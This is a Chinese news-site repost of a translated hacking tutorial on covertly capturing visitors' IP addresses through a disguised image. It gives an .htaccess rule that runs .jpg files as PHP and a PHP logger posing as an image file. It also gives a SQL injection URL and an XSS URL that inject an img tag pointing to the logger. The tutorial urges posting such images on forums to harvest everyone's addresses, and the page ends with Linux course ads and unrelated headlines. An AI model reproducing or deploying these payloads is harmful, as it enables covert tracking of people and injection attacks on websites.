Redian新闻
>
如何通过一张照片来获取 ip 地址?

如何通过一张照片来获取 ip 地址?

公众号新闻

链接:http://www.freebuf.com/articles/database/101233.html

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg


然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen('ip_list.txt', 'a');
fwrite($fh, $_SERVER['REMOTE_ADDR']."
");
fclose($fh);
$im = imagecreatefromjpeg("n00b.png");
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:


http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#


现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src="http://leettime.net/idiots_test_lab/imageip/tryme.jpg">&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

谢谢您的阅读,Happy Hacking!

END

官方站点:www.linuxprobe.com

Linux命令大全:www.linuxcool.com

刘遄老师QQ:5604241

Linux技术交流群:3762708

(新群,火热加群中……)

想要学习Linux系统的读者可以点击"阅读原文"按钮来了解书籍《Linux就该这么学》,同时也非常适合专业的运维人员阅读,成为辅助您工作的高价值工具书!


微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
沉浸式体验飞鸟的快乐:从一张照片生成3D航拍视频高考46年:哪一张照片是属于你的记忆?手机里最舍不得删的一张照片“谢霆锋,后悔了?”离婚生3胎后,张柏芝终于爆发!一张照片彻底“击垮”前夫,网友:这女人,够狠!高夫球柿与糗柿300一张票,全球最期待大片来了,值得吗?“我电量太低,这是最后一张照片啦!” 它现在要和大家说再见了......图解各种改地址 | 吐血整理搬家后需要修改地址的清单和攻略许光汉的纯情男友人设,一张照片全毁了…[照片] 176张照片,同2022年的哈尔滨道别婆婆住院了,大家帮忙看看得了什么病这张照片的留言IP地址,遍布全国!房产投资:如何通过1031房产置换交易法则成功延税“我电量太低,这是最后一张照片啦!” 它让我们听到火星上的风声,现在却要诀别了..“谢霆锋,后悔了?”离婚生3胎后,张柏芝一张照片彻底“击垮”前夫,网友:这女人,够狠!走资派邓小平文过饰非诿过于人代沟 需老一辈努力去埋IP地址翻译成实际的物理地址抖音电商做搜索有何不同?看周大福、方里等五大品牌如何通过搜索获取新增量|DOUCASE麦当娜“整残”啦?!媒体曝出20张照片来对比...更大的世界,就藏在下一张照片里一张照片救了3个人!胡歌妻子身份曝光后,一张照片刺痛全网:40岁后有福之人,果然是这种……自做制服2023年金融行业如何通过优化私域运营提高业绩?今天,用一张照片告别这个漫长的冬天如何通过科学手段,强行让自己的心情变好51岁杨钰莹越老越年轻,一张照片惹哭三代人:让男人念念不忘的,永远是这种人!生活|人性与爱的20张照片,哪一张戳中了你的泪点?如何通过“健康营销”影响用户为品牌买单|社群圆桌一张照片记录今天,你会拍什么?10分钟之内,如何通过细节判断一家金融公司是好是坏?我来支几招一张照片,如何改写了一群生物的故事一张照片惊艳全网!这个帅翻全港的男人回来了!刘亦菲胖到没腰?一张照片暴露了她的真实生活
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。